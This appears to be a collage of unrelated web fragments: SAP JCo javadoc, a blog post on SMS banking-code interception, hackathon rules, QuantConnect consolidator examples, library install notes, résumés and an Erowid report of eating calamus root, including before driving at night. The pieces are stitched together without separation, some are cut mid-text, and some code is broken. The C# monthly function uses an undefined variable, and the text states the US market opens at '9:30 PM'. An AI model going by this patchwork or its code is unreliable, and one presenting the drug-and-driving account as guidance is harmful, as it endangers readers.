public interface RfcConstants
| Modifier and Type | Field and Description |
|---|---|
static String |
CLOUD_CONNECTOR_VERSION
Cloud Connector version property.
|
static String |
JCO_ASHOST
SAP ABAP application server, mandatory for a direct connection.
|
static String |
JCO_CLIENT
SAP client, mandatory logon parameter.
|
static String |
JCO_CODEPAGE
Additional logon parameter to define the codepage that will used to convert
the logon parameters.
|
static String |
JCO_DELTA
Use the table delta management for reducing the amount of data being sent via
the network, especially if dealing with big RFC table parameters.
|
static String |
JCO_GROUP
Group of SAP application servers, mandatory property for a load balancing
connection.
|
static String |
JCO_LANG
Logon language, if not defined the default user language is used.
|
static String |
JCO_MSHOST
SAP message server, mandatory property for a load balancing connection.
|
static String |
JCO_MSSERV
SAP message server port, optional property for a load balancing connection.
|
static String |
JCO_MYSAPSSO2
SAP Cookie Version 2 as logon ticket for SSO based authentication.
|
static String |
JCO_PASSWD
Logon password, logon parameter for password based authentication.
|
static String |
JCO_R3NAME
System ID of the SAP system, mandatory property for a load balancing
connection.
|
static String |
JCO_REPOSITORY_PASSWD
The password for a repository user.
|
static String |
JCO_REPOSITORY_USER
If repository destination is not set, and this property is set, it will be
used as user for repository calls.
|
static String |
JCO_SYSNR
System number of the SAP ABAP application server, mandatory for a direct
connection.
|
static String |
JCO_USER
Logon user, logon parameter for password based authentication.
|
static String |
RFC_LOCATION_ID
The cloud connector location id property for RFC destinations.
|
static final String JCO_ASHOST
static final String JCO_CLIENT
static final String JCO_MSHOST
static final String JCO_MSSERV
sapmsXXX
a lookup in
etc/services
is performed by the network layer of the operating
system.  Use in special cases only.static final String RFC_LOCATION_ID
static final String CLOUD_CONNECTOR_VERSION
Copyright © 2019 SAP. All Rights Reserved.


--- layout: post title: Breaking SMS security date: 2009-05-22 13:53:25.000000000 +02:00 type: post published: true status: publish categories: - Various tags: - security meta: _edit_last: '2' _jetpack_related_posts_cache: a:0:{} author: login: admin email<EMAIL_ADDRESS>display_name: gerbrand first_name: Gerbrand last_name: van Dieijen ---
I wrote some time ago about false sense of security in many secure applications such as internet-banking. Now one of the predictions I made have become reality, as you can read on this (Dutch) article on webwereld: Onderzoekers kapen tan-code met Nokia 1100.
Using a hacked mobile phone, a security company could intercept a TAN-code that is used to authorize payments and money-transfers using internet-banking. Although there is no reported use of this hack, researchers did notice second-hand mobile phones did increase a lot in value.


Page Title required
Maximum Length is 60.
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Minimum Length is 3.
sub_category required
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Most people do know when their birthdays are,but some might not know what day of the week they were born.
Luckily for us, there are ways to calculate the day of the week from a specific date.
This website has go a calendar that will assist you to know the day that you were born as long as
you simple remember the month,date and the year that your were born. The day you were BORN will be displayed
in
Akan names are derived from Ghanian culture. Frequently in Ghana, children are given their first name as
a day name' which corresponds to the day in the week they were born.


Important Info
Links
Remember to submit your project to Devpost before the deadline!
How to get to the hackathon
The event will be held...
Please, let us know if you can't walk up the stairs and we'll show you how to get to the rooms.
Hackathon Rules
These are the KTHack International competition rules. They are a customized version of the standard competition rules used at MLH Member Hackathons.
The spirit of the competition
Remember that hackathons are like marathons. Some people go to compete but most people take part to better themselves and have fun. Whatever the reason is you're at a hackathon, make sure you're upholding the hacker spirit by collaborating with other teams, helping beginners, and having fun.
The rules of the competition
- There is no minimum team size, however, the maximum size is 4 people. There will be 1 prize for each member of the team, independently of the team size.
- Teams should be made up exclusively of students (or recent graduates within one year of having graduated) who are not organizers, judges, sponsors, or in any other privileged position at the event. Volunteers are allowed to participate in their free time, accepting the extra difficulty of hacking and volunteering at the same time, but their role won't give them any judging advantage in front of the rest of participants.
- All team members should be present at the event. Leaving the venue for some time to hack elsewhere or sleep is fine.
- Teams can of course gain advice and support from organizers, volunteers, sponsors, and others.
- All work on a project should be done at the hackathon.
- Teams can use an idea they had before the event.
- Teams can work on ideas that have already been done. Hacks do not have to be “innovative”. If somebody wants to work on a common idea they should be allowed to do so and should be judged on the quality of their hack. These days it’s hard to find something that’s fully original and teams might not know an idea has been done before anyway.
- Teams can work on an idea that they have worked on before (as long as they do not re-use code).
- Teams can use libraries, frameworks, or open-source code in their projects. Working on a project before the event and open-sourcing it for the sole purpose of using the code during the event is against the spirit of the rules and is not allowed.
- Adding new features to existing projects is allowed. Judges will only consider new functionality introduced or new features added during the hackathon in determining the winners.
- Teams must stop hacking once the time is up. However, teams are allowed to debug and make small fixes to their programs after time is up. e.g. If during demoing your hack you find a bug that breaks your application and the fix is only a few lines of code, it's okay to fix that. Making large changes or adding new features is not allowed.
- Participants who asked for a travel reimbursement need to post a project before the deadline in order to get the reimbursement.
- Projects that violate the rules are not allowed.
- Teams can be disqualified from the competition at the organizers' discretion. Reasons might include but are not limited to breaking the Competition Rules, breaking the rules, or other unsporting behaviour.
Demos
After hacking finishes, teams will show their projects to each other and to the judges.
You are strongly encouraged to present a demo of what you have built. Pitches or presentations are discouraged. You are not judged on the quality of your pitch or the quality of your idea. As you are judged on what you built, you'll only hurt yourself by not showing a demo.
You are encouraged to present what you have done even if your hack is broken or you weren’t able to finish. It's okay if you didn't finish your hack—that happens all the time! Completion is only one part of the judging criteria, so you might still do well. Also, demoing is not just about the competition. It's a chance to share with others what you learned and what you tried to build—that's what hacking's all about! For being courageous enough to demo, you'll receive a special "I Demoed" sticker—it doesn't matter how good the demo is! In the case that you don't have anything to demo, you can give a presentation about what you tried and what you learned. Hearing what other people learned is interesting and inspiring for other attendees.
Judging Criteria
Teams will be judged on these four criteria. Judges will weigh the criteria equally. During judging, participants should try to describe what they did for each criterion in their project.
- Technology: How technically impressive was the hack? Was the technical problem the team tackled difficult? Did it use a particularly clever technique or did it use many different components? Did the technology involved make you go "Wow"?
- Design: Did the team put thought into the user experience? How well designed is the interface? For a website, this might be about how beautiful the CSS or graphics are. For a hardware project, it might be more about how good the human-computer interaction is (e.g. is it easy to use or does it use a cool interface?).
- Completion: Does the hack work? Did the team achieve everything they wanted?
- Learning: Did the team stretch themselves? Did they try to learn something new? What kind of projects have they worked on before? If a team which always does virtual reality projects decides to switch up and try doing a mobile app instead, that exploration should be rewarded.
These criteria will guide judges but ultimately judges are free to make decisions based on their gut feeling of which projects are the most impressive and most deserving.
It's important to note that these judging criteria do not include:
- How good your code is. It doesn't matter if your code is messy, or not well commented, or uses inefficient algorithms. Hacking is about playing around, making mistakes, and learning new things. If your code isn't production ready, we're not going to mark you down.
- How well you pitch. Hacking is about building and learning, not about selling.
- How good the idea is. Again, hackathons aren't about coming up with innovative ideas. It's about building and learning.
- How well the project solves a problem. You can build something totally useless and as long as you're learning and having fun, that's a good hack! Sometimes a pointless project is one of the best hacks!
So don't worry about coming up with the next big idea or building the next Facebook. You'll have plenty of time for that outside the hackathon. just focus on learning, having fun, and making new friends. At the end of the day the skills you learn and the friends you make might lead to the next big thing—but you don't have to do that to win a hackathon.
Remember
The competition is just a part of the hackathon. To make the most out of the event, try something new, teach other people, and make new friends!
Happy hacking from the KTHack team!
KTHack International
The prizes will be announced at the opening ceremony
We thank you for your patience!
When shall I arrive?
Registration will start at 10:30h on Tuesday 20th. The opening ceremony is at 11:30h.
When is the hackathon ending?
The closing ceremony is expected to end on Wednesday 21st at 15:30h.
What if I cannot make it in time?
No problem, just come to our infodesk for a late check-in. If you are confused, please reach out to any organizer!
I'm not in Slack, how do I get in?
Come to the infodesk during the event or send us an email to<EMAIL_ADDRESS>Can I leave the hackathon?
Yes.
Can I sleep now?
Unknown.
Something isn’t working!
If something is not working, please come to our infodesk and meet our awesome organizers. They'll love to help you!
Deadline for project submissions?
The deadline for project submissions is Wednesday 21st 12:00h. Submit your projects here.
I have another question...
If you have any other questions and you can't find it here, make sure to pay us a visit at our infodesk.


{{ section }}
{% include "components/section_edit_details.html" %}
{% url "schedule:section-note-create" section.id as section_note_create_form %}
{% regroup section.notes.all by color as color_list %}
{% for color in color_list %}
{% include 'components/note_list.html' with color_type=color.grouper notes=color.list %}
{% endfor %}


The following examples are typical calendar functions you may want.
The function should receive a datetime
DateTime
object that's based in the algorithm time zone and should return a CalendarInfo
object, which contains the start time of the bar in the data time zone and the duration of the consolidation period. This function is evaluated when the duration of the consolidation period has passed and at the following time step.
The preceding sections of this page provide a typical calendar function that consolidates data weekly, starting at 5:00 PM. If you consolidate US Equity and Crypto data, the event handler triggers at different times since the data time zone of US Equity is America/New York and Crypto is UTC.
TradeBar
objects that start at 9:30 AMThis is a typical case for the US markets because they open every business day at 9:30 PM Eastern Time (ET).
public CalendarInfo EveryTwentyMinuteAfterEquityMarketOpen(DateTime datetime) { var period = TimeSpan.FromMinutes(20); var openTime = datetime.Date + new TimeSpan(9, 30, 0); var start = openTime + (int)((datetime - openTime) / period) * period; return new CalendarInfo(start, period); }
def every_twenty_minute_after_equity_market_open(self, dt: datetime) -> CalendarInfo: period = timedelta(minutes=20) open_time = dt.replace(hour=9, minute=30, second=0, microsecond=0) start = open_time + int((dt - open_time) / period) * period return CalendarInfo(start, period)
To consolidate data into another period, change the period
variable. For example, to consolidate into 4-hour bars, replace timedelta(minutes=20)
TimeSpan.FromMinutes(20)
with timedelta(hours=4)
TimeSpan.FromHours(4).
QuoteBar
objects that start at 5 PM:This is a typical Forex case because the Forex market opens on Sunday at 5 PM ET.
public CalendarInfo CustomDailyForex(DateTime datetime) { var start = datetime.Date .AddHours(datetime.Hour < 17 ? -7 : 17); return new CalendarInfo(start, TimeSpan.FromDays(1)); }
def custom_daily_forex(self, dt: datetime) -> CalendarInfo: start = dt.replace(hour=17, minute=0, second=0) if dt.hour < 17: start -= timedelta(1) return CalendarInfo(start, timedelta(1))
TradeBar
objects that start at midnight:public CalendarInfo CustomMonthly(DateTime datetime) { var start = dt.AddDays(1 - dt.Day).Date; var end = dt.AddMonths(1); end = new DateTime(end.Year, end.Month, 1); return new CalendarInfo(start, (end - start)); }
def custom_monthly(self, dt: datetime) -> CalendarInfo: start = dt.replace(day=1).date() end = dt.replace(day=28) + timedelta(4) end = (end - timedelta(end.day - 1)).date() return CalendarInfo(start, end - start)


| Question | Answer |
|---|---|
| calculate simple interest | |
| is palindrome string | |
| area of circle | |
| Copy information of one object to another and log it to console. | |
| create a list of objects of Employee with info as follow : | |
| filter all employees with salary greater than 5000 | |
| Group by age | |
| fetch employees with salary less than 1000 and age greater than 20. Then give them an increment 5 times their salary. |


A simple calendar app for scheduling your work day
KEY:Red= The current hour/ Blue= The hour is still to come/ Grey= The hour has past


RED Server
More information to come. If you have questions contact "thoma891 [at] umn [dot] edu" or "adeni026 [at] umn [dot] edu".


EBD - Easton Bible DIctionary
Melzar
MELZAR
"MELZAR "probably a Persian word meaning master of wine, i.e., chief butler; the title of an officer at the Babylonian court (
Daniel 1:11, 16
) who had charge of the diet of the Hebrew youths.
"MELZAR "probably a Persian word meaning master of wine, i.e., chief butler; the title of an officer at the Babylonian court (Daniel 1:11, 16) who had charge of the diet of the Hebrew youths.


If you have already-existing KeePass (.kdbx or .kdb) files stored in your OneDrive, then you can access them.
Chrome will ask you to allow this extension to access your OneDrive, and OneDrive will ask you to allow this extension to read your files.
Authorize
Loading...
No keepass databases found
These databases will be available to unlock when logging into a website...
Deauthorize


I am from Escondido
Something interesting about me is I love pokemon
If you want to contact me on LinkedIn visit me at: https://www.linkedin.com/in/jeff-young-956072215/
To view some of my work, visit my repositories on GitHub:https://github.com/JMYoung93


Keeping your data organised¶
Introduction¶
Command line bioinformatics has a much more restricted interface to your data and directory tree, and learning all of the different software and commands can take so much energy that keeping organised gets forgotten. However, lots of different files get created as you work through a bioinformatic pipeline, and keeping these organised is very very important. This is most crucial when you want to backtrack in your pipeline and try an alternative approach, or you need to track down the cause of an error or a major shift in your data structure.
To this end, we strongly recommend two useful tips:
- Keep a very clear and consistent naming convention and directory tree
- Keep a well organised record of the final commands you use
Naming conventions¶
If you make sure your files are clearly named using a consistent convention, you will save yourself so much time. It might be easy to keep track of an arbitrary naming system during a day’s work, but come back to it after the weekend or when your advisor suggests doing something differently a month later and you’ll be lost!
There are lots of ways of naming directories and files, this is our method which isn’t necessarily the best but works well for use. Hopefully this will help you think of the best method for you. Remember that Linux always sorts files alphabetically when you list the contents of a directory.
Our method¶
Each pipeline is in its own directory, named clearly with the pipeline name and a date (in ISO format, i.e. 2020-12-25, for easier sorting)
Each pipeline directory contains a commands.txt
file that lists the commands used to generate the files in that directory (see below)
When a step draws on or creates multiple files that should be treated as a group, these are always in their own directory and that directory is treated as if it’s a complete file for naming purposes. The files within successive directories never change their names unless they are split up or merged together.
Each file or directory of files is named using a serial number at the beginning of the file, which increments for each step that modifies the composition or format of the data at that step.
So, for example, the starting example data is a set of FASTQ files with the name of the sequencing library. These are placed in a directory called 0_rawsequences/
. When these are demultiplexed, we call the output directory 1_demux/
to show that this is the next set of data in order, and that the step used to produce them was demultiplexing.
Note that 11
comes before 2
in alphabetical sorting, so if you expect to have more than 10 stages you may want to use 00
, 01
, etc for successive stages, or use the first number for major versions and the second number for minor versions.
Command records¶
As you work through a bioinformatics pipeline, you will try out lots of different commands and in between major steps perhaps carry out some reorganisation of your data or renaming. It is really useful to keep a record of your “final” commands for each step, absent any test runs, so that in theory you can completely rerun your entire pipeline from the beginning just by copy-and-pasting your list of “final” commands. This is really helpful to record your methodology, and to easily implement tweaks or changes to your pipeline - you can simply create a new commands file, create a new directory for the altered pipeline, copy across your starting data, then run your altered commands.


Shadow DOM may include both

Name: <slot name="username"></slot>

Birthday: <slot name="birthday"></slot>

Then, we can declare this property in the outer document for <user-card>
:
Custom CSS properties pierce through shadow DOM, they are visible everywhere, so the inner .field
rule will make use of it.
Here’s the full example:
```html run autorun=“no-epub” untrusted height=80Shadow DOM can include styles, such as


Package util
Class GraphStructure
- java.lang.Object
-
- util.GraphStructure
-
public class GraphStructure extends java.lang.Object
-
-
Field Summary
Fields Modifier and Type Field Description private java.util.Map<java.lang.Long,Connection>
connections
private long
newConnectionID
private long
newWayPointID
private java.util.Map<java.lang.Long,org.jxmapviewer.viewer.GeoPosition>
wayPoints
-
Constructor Summary
Constructors Constructor Description GraphStructure()
GraphStructure(java.util.Map<java.lang.Long,org.jxmapviewer.viewer.GeoPosition> wayPoints, java.util.Map<java.lang.Long,Connection> connections)
-
Method Summary
All Methods Instance Methods Concrete Methods Modifier and Type Method Description private void
addConnection(long id, Connection connection)
Add a connection to the graph.void
addConnection(Connection connection)
Add a connection to the graph.private void
addWayPoint(long id, org.jxmapviewer.viewer.GeoPosition position)
Add a waypoint to the graph.void
addWayPoint(org.jxmapviewer.viewer.GeoPosition pos)
Add a waypoint to the graph.boolean
connectionExists(long fromWayPointId, long toWayPointId)
Check whether a connection exists between 2 waypoints.void
deleteConnection(long fromWayPointId, long toWayPointId, Environment environment)
Delete a connection which starts atfromWayPointId
and ends attoWayPointId
.void
deleteWayPoint(long wayPointId, Environment environment)
Delete a waypoint in the graph.long
getClosestWayPoint(org.jxmapviewer.viewer.GeoPosition pos)
Gets the Id of the closest waypoint to a given location.private Pair<java.lang.Long,java.lang.Double>
getClosestWayPointWithDistance(org.jxmapviewer.viewer.GeoPosition pos)
Get the closest waypoint to a given location, including the distance between the waypoint and the location.java.util.Optional<java.lang.Long>
getClosestWayPointWithinRange(org.jxmapviewer.viewer.GeoPosition pos, double range)
Get the closest waypoint to a given location, if the closest waypoint is withing a specified range of that location.Connection
getConnection(long connectionId)
private java.util.Optional<Connection>
getConnection(long fromWayPointId, long toWayPointId)
Get the connection which starts and ends at the given waypoint Ids.java.util.Map<java.lang.Long,Connection>
getConnections()
java.util.List<Connection>
getOutgoingConnections(long wayPointId)
Retrieve a list of connections which have the given waypoint as source.java.util.List<java.lang.Long>
getOutgoingConnectionsById(long wayPointId)
Retrieve a list of connection Ids which have the given waypoint as source.org.jxmapviewer.viewer.GeoPosition
getWayPoint(long wayPointId)
java.util.Map<java.lang.Long,org.jxmapviewer.viewer.GeoPosition>
getWayPoints()
private void
init(java.util.Map<java.lang.Long,org.jxmapviewer.viewer.GeoPosition> wayPoints, java.util.Map<java.lang.Long,Connection> connections)
-
-
-
Field Detail
-
wayPoints
private java.util.Map<java.lang.Long,org.jxmapviewer.viewer.GeoPosition> wayPoints
-
connections
private java.util.Map<java.lang.Long,Connection> connections
-
newWayPointID
private long newWayPointID
-
newConnectionID
private long newConnectionID
-
-
Constructor Detail
-
GraphStructure
public GraphStructure()
-
GraphStructure
public GraphStructure(java.util.Map<java.lang.Long,org.jxmapviewer.viewer.GeoPosition> wayPoints, java.util.Map<java.lang.Long,Connection> connections)
-
-
Method Detail
-
init
private void init(java.util.Map<java.lang.Long,org.jxmapviewer.viewer.GeoPosition> wayPoints, java.util.Map<java.lang.Long,Connection> connections)
-
addWayPoint
public void addWayPoint(org.jxmapviewer.viewer.GeoPosition pos)
Add a waypoint to the graph.- Parameters:
pos
- The waypoint.
-
addConnection
public void addConnection(Connection connection)
Add a connection to the graph.- Parameters:
connection
- The connection.- Throws:
java.lang.IllegalArgumentException
- if the source and destination of the connection is the same waypoint.
-
addWayPoint
private void addWayPoint(long id, org.jxmapviewer.viewer.GeoPosition position)
Add a waypoint to the graph.- Parameters:
id
- The Id of the new waypoint.position
- The waypoint itself.- Throws:
java.lang.IllegalStateException
- if a waypoint already exists with the given Id.
-
addConnection
private void addConnection(long id, Connection connection)
Add a connection to the graph.- Parameters:
id
- The Id of the new connection.connection
- The connection itself.- Throws:
java.lang.IllegalStateException
- if a connection already exists with the given Id.
-
getWayPoint
public org.jxmapviewer.viewer.GeoPosition getWayPoint(long wayPointId)
-
getWayPoints
public java.util.Map<java.lang.Long,org.jxmapviewer.viewer.GeoPosition> getWayPoints()
-
getConnection
public Connection getConnection(long connectionId)
-
getConnections
public java.util.Map<java.lang.Long,Connection> getConnections()
-
getClosestWayPoint
public long getClosestWayPoint(org.jxmapviewer.viewer.GeoPosition pos)
Gets the Id of the closest waypoint to a given location.- Parameters:
pos
- The location.- Returns:
- The Id of the closest waypoint, or a runtime exception in case no waypoints are present.
- Throws:
java.lang.IllegalStateException
- if no waypoints are present in the graph.
-
getClosestWayPointWithinRange
public java.util.Optional<java.lang.Long> getClosestWayPointWithinRange(org.jxmapviewer.viewer.GeoPosition pos, double range)
Get the closest waypoint to a given location, if the closest waypoint is withing a specified range of that location.- Parameters:
pos
- The location.range
- The maximum range between the closest waypoint and the position (expressed in km).- Returns:
- The closest waypoint Id if it is within the specified range, otherwise an empty Optional.
- Throws:
java.lang.IllegalStateException
- if no waypoints are present in the graph.
-
getClosestWayPointWithDistance
private Pair<java.lang.Long,java.lang.Double> getClosestWayPointWithDistance(org.jxmapviewer.viewer.GeoPosition pos)
Get the closest waypoint to a given location, including the distance between the waypoint and the location.- Parameters:
pos
- The location.- Returns:
- A pair of the waypoint Id and the distance (in km) to it.
- Throws:
java.lang.IllegalStateException
- if no waypoints are present in the graph.
-
getOutgoingConnections
public java.util.List<Connection> getOutgoingConnections(long wayPointId)
Retrieve a list of connections which have the given waypoint as source.- Parameters:
wayPointId
- The waypoint at which the connections start.- Returns:
- A list of connections which all start at
wayPointId
.
-
getOutgoingConnectionsById
public java.util.List<java.lang.Long> getOutgoingConnectionsById(long wayPointId)
Retrieve a list of connection Ids which have the given waypoint as source.- Parameters:
wayPointId
- The waypiont at which the connections start.- Returns:
- A list of connection Ids which all start at
wayPointId
.
-
connectionExists
public boolean connectionExists(long fromWayPointId, long toWayPointId)
Check whether a connection exists between 2 waypoints.- Parameters:
fromWayPointId
- The source waypoint Id.toWayPointId
- The destination waypoint Id.- Returns:
- True if a connection exists.
-
getConnection
private java.util.Optional<Connection> getConnection(long fromWayPointId, long toWayPointId)
Get the connection which starts and ends at the given waypoint Ids.- Parameters:
fromWayPointId
- The waypoint Id at which the connection starts.toWayPointId
- The waypoint Id at which the connection ends.- Returns:
- Either the connection which has the right source and destination, or an empty Optional if no such connection exists.
-
deleteWayPoint
public void deleteWayPoint(long wayPointId, Environment environment)
Delete a waypoint in the graph. Note: this also shortens the paths of motes which make use of this waypoint.- Parameters:
wayPointId
- The Id of the waypoint to be deleted.environment
- The environment of the simulation.
-
deleteConnection
public void deleteConnection(long fromWayPointId, long toWayPointId, Environment environment)
Delete a connection which starts atfromWayPointId
and ends attoWayPointId
. Note: this also shortens the paths of motes which make use of this connection.- Parameters:
fromWayPointId
- The waypoint Id at which the connection starts.toWayPointId
- The waypoint Id at which the connection ends.environment
- The environment of the simulation.
-
-


Your keys and data are kept confidential by running cryptography operations in your browser using Web Crypto API and JavaScript is left unminified so you can verify page source.


apply plugin: 'war'
apply from: 'https://raw.github.com/akhikhl/gretty/master/pluginScripts/gretty.plugin'
Add the following to "build.gradle" of your web-app:
apply plugin: 'war'
apply from: 'https://raw.github.com/akhikhl/gretty/master/pluginScripts/gretty.plugin'
That’s all! Now you can start your web-app with the command:
gradle appRun
you can also use other Gretty tasks for running and debugging your web-app or configure Gretty to your needs.
Alternatively, you can download the script from https://raw.github.com/akhikhl/gretty/master/pluginScripts/gretty.plugin to the project folder and include it like this:
apply from: 'gretty.plugin'
or feel free inserting to your "build.gradle":
buildscript {
repositories {
jcenter()
// enable this to use snapshot versions of Gretty:
// maven { url 'http://oss.jfrog.org/artifactory/oss-snapshot-local' }
}
dependencies {
classpath 'org.akhikhl.gretty:gretty:+'
}
}
repositories {
jcenter()
// enable this to use snapshot versions of Gretty:
// maven { url 'http://oss.jfrog.org/artifactory/oss-snapshot-local' }
}
apply plugin: 'org.akhikhl.gretty'
|
Note
|
All release versions of Gretty are available at jcenter and maven central under the group org.akhikhl.gretty. |
|
Note
|
Snapshot versions of gretty are available at jfrog artifactory (see code above). |
|
Important
|
If you experience problems starting Gretty, first look into troubleshooting section. If it does not help, raise an issue at Gretty issue tracker or send an email to Gretty developer. |


Graphic Designer Hello, My name is William Chung! I’m currently a fourth year student studying in the Graphic Design BA Program at San Jose State University.


WITNESS LIST
International Relations & Trade
April 11, 2011 10:00 AM
FOR:
Cavazos, Ramiro President & CEO (San Antonio Hispanic Chamber of Commerce), San
Antonio, TX
Cotrell, Charles President (St. Mary's University - SABER Institute), San Antonio, TX
Nivin, Steve Director & Chief Economist (SABER Institute), San Antonio, TX
Registering, but not testifying:
For:
Halebic, Maya Senior Economist/ SABER Institute (SABER Institute), San Antonio, TX
Jimenez, Paul Director, External Affiars (San Antonio Hispanic Chamber of Commerce),
San Antonio, TX
Oliver, Harrold (San Antonio Hispanic Chamber of Commerce), Austin, TX
Registering, but not testifying:
For:
Simpson, Matt (The ACLU of Texas), Austin, TX
1


It might seem pessimistic, but at least stoics are generally happy if not...stoic.
If someone bad happens, we aren't affected. If something ok happens, we're genuinly happy!.
We honestly expect too much from such an imperfect world. But we can prepare ourselves from this imperfect world.
What I'm talking about is Stoicism.
Remember this: Nothing happens to you that you aren't ready for. Regardless of all the struggles, you'll still be there. Everything's gonna be alright.
Check out my fellow Stoics: Seneca and Epictetus. I won't be sad if you don't.


pypresence¶
Installation¶
Install pypresence with pip:
For the last full release, you can use:
pip install pypresence
Or for the in-development release, you can use:
pip install https://github.com/qwertyquerty/pypresence/archive/master.zip
Links¶
Information¶
Documentation¶
- Presence()
- Client()
Client
start()
close()
authorize()
authenticate()
get_guilds()
get_channels()
channel_id()
set_user_voice_settings()
select_voice_channel()
get_selected_voice_channel()
select_text_channel()
set_activity()
clear_activity()
subscribe()
unsubscribe()
get_voice_settings()
set_voice_settings()
capture_shortcut()
send_activity_join_invite()
close_activity_request()
register_event()
unregister_event()


Password length
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Use lower case Characters
Use Numbers
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Learning the
<canvas>
and Prototype - Drawing
No Canvas support?
No Canvas support?
Tool
Line
Circle


I am a student at the Howard University School of Business, majoring in Information Systems. I am driven and passionate, always striving to inspire others. At Howard, I am constantly finding ways to be involved, currently serving as the Vice President of the International Honor Society of Beta Alpha Psi, Director of Fundraising for the School of Business Student Council, Chief Administrative Officer for Howard University Campus Pals, a current member of the School of Business Executive Leadership Program, and a Team Leader for the 21st Century Advantage Program. These have all helped me acquire the qualities of an eager and successful leader continuously striving to take on new challenges.
Morgan Miller
BBA in Computer Information Systems
The Information Systems (IS) major curriculum, and the Supply Chain Management curriculum integrates business and computing. Information Systems focuses primarily on the role that information and technology play in creating business solutions. The classic IS major generally likes to solve puzzles. The analytical and creative ability needed to solve a puzzle also helps to design and create automated business solutions.
Aug 2015 - May 2019
PriceWaterhouseCoopers (New York, NY)
Utilized problem solving, analytical, research and organizational skills to assist teams in real life projects involving generating workpapers, schedule K-1s, and 1065 tax forms for various different funds. Participated in professional development opportunities focused on topics such as personal brand, building relationships, developing a business perspective, and engaging in continuous coaching and development with the assistance of a team of mentors.
Jun 2017 - Aug 2017
PriceWaterhouseCoopers (New York, NY)
Shadowed professionals and gained exposure to different fields within accounting through various different leadership and development trainings and programs. Created PowerPoints and Excel worksheet presentations for the Office of Diversity detailing research on non-profit organizations and introducing new initiatives and ways for involvement.
Jun 2016 - Aug 2016
Photoshop
Illustrator
Excel


Download as .json file Download as minified .json file
Reload the page if it still shows an outdated resume!


How to Contribute
I would be very happy about any kind of contributions that help to improve and extend the functionality of mlxtend.
Getting Started
- If you don't have a GitHub account yet, please create one to contribute to this project.
- Please submit a ticket for your issue to discuss the fix or new feature before too much time and effort is spent for the implementation.
- Fork the
mlxtend
repository from the GitHub web interface.
- Clone the
mlxtend
repository to your local machinegit clone https://github.com/your_username/mlxtend.git
Making Changes
- Please avoid working directly on the master branch but create a new feature branch:
git branch new_feature
git checkout new_feature
- When you make changes, please provide meaningful
commit
messages:git add edited_file
git commit -m 'my note'
- Make an entry in the
mlxtend/docs/source/changelog.md
file. - Add tests to the
mlxtend/tests
directory. - Run all tests (e.g., via
nosetests
orpytest
). - If it is a new feature, it would be nice (but not necessary) if you could update the documentation.
- Push your changes to a topic branch:
git push -u origin my_feature
- Submit a
pull request
from your forked repository via the GitHub web interface.
Notes for Developers
Building the documentation
The documentation is build using mkdocs.
If you are adding a new document, please add it to the ~/github/mlxtend/docs/mkdocs.yml
file.
In order to view the documentation locally, execute mkdocs serve
from the mlxtend/docs
directory.
For example,
~/github/mlxtend/docs >mkdocs serve
If everything looks fine, the documentation can be build by executing
~/github/mlxtend/docs >mkdocs build


Icon provided by Fabio Jung:
http://www.itouchfactory.com
All flag icons are provided by Icon Drawer:
http://www.icondrawer.com
Some toolbar icons are provided by Glyphish:
http://glyphish.com
Created by Jeff LaMarche:
http://iphonedevelopment.blogspot.com
Daniel Rodríguez Troitiño


Toggle navigation
Home
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Home
home
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settings
Check For update
system_update
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share
Yummm... Cinnabons
favorites
Material Design like Navbar with Overflow Menu with Icons.
By: Justin Zirpoli
Empyrian Art Forms


After locating a good supply of Sweet Flag I set out to see what it would do.
First attempt:
Ate about 6 inches of the dried root. Nothing seemed to happen, so I went off with my cousin to load wood for the winter. We were loading wood and talking, when I looked up on a mountain top and there was this giant figure looking down from the mountain top. It was dark and omnious and didn't look happy that we were on it's mountain. At the same time the figure appeared to be just trees. Then the apparition faded, and I went back to loading wood wondering if it was an overactive imagination, or the root.
Second attempt:
Passed it out at a party, about 6 or 7 people ate varying amounts. Only one reported feeling 'speedy'. No one else seemed to think it did anything.
Third attempt:
Well since it was 'speedy' and didn't seem to have much other effects. I ate about 3 inches of it fresh before having to drive all night. Bad move. You know all those little things you see out of the corner of your eye late at night when driving, but quickly dismiss. They took form. There were little gremlin like creatures scampering about just at the edge of my headlights. I kept driving telling myself it was the root and waited to hit one. Never did. Swore never to eat it and drive at night, way too weird. Then again maybe it was just exhaustion and too much coffee.
Fourth attempt:
Ate some (fresh) and went over to a friends house who lived in the woods on a lake. He was messing around, and wanted to go into town. Waited on his couch looking out an open door into a nice little field with a big oak tree. The wind started blowing through the tree and the light filtering through the tree started forming little fairies. The tree was full of little tinkerbells and they were dancing about in a beautiful ballet. Then I felt a pressure on my shoulder and a voice said 'It's time to go.' The faeries vanished and I was sitting in a darking living room with my friends hand on my shoulder. It was like waking up from sleep, but I hadn't been asleep, just a kind of trace-like state.
Fifth attempt:
Ate 8 inches dried, nothing happened.
Sixth attempt:
Drove up into the mountains with some friends, some calamus root, a flute, a loaf of bread, and some smoke. We ate the root, smoked the smoke, ate the bread, and the laid about with flute music filling the forest. It was a wonderful evening. No weird effect from the root it seemed. Just watching nature. Then we were leaving in the car along a scenic route past about three waterfalls. At about the second one the car comes to halt and the driver yells 'LOOK!'. The water fall had transformed itself. The rock under the falls was a giant easter island like statue who was drinking up all of the water. It was staring at us. At the same time I could see the normal waterful, it was like looking at two worlds at the same time. Both existed, I could function and act normal, but there was this other reality superimposed over the one I was in. I could see into it, and the being there could see me and knew that I could see it. We oooed and aaah for some time and then went home in a somber mood.
Seventh and Eight attempts:
Nothing happened, both attempts were in the woods--seems to have it's best effect in a natural setting but it just didn't seem to work these times.
Experience Reports are the writings and opinions of the individual authors who submit them.
Some of the activities described are dangerous and/or illegal and none are recommended by Erowid.


These are the only details we have, so chill out.
Ryan — the name taken by Melbourne-raised, Brooklyn-based Nick Murphy — writes, performs and records all of his own music.


Vim documentation: usr_28
main help file*usr_28.txt* For Vim version 7.2. Last change: 2008 Jun 14 VIM USER MANUAL - by Bram Moolenaar Folding Structured text can be separated in sections. And sections in sub-sections. Folding allows you to display a section as one line, providing an overview. This chapter explains the different ways this can be done. |28.1| What is folding? |28.2| Manual folding |28.3| Working with folds |28.4| Saving and restoring folds |28.5| Folding by indent |28.6| Folding with markers |28.7| Folding by syntax |28.8| Folding by expression |28.9| Folding unchanged lines |28.10| Which fold method to use? Next chapter: |usr_29.txt| Moving through programs Previous chapter: |usr_27.txt| Search commands and patterns Table of contents: |usr_toc.txt|
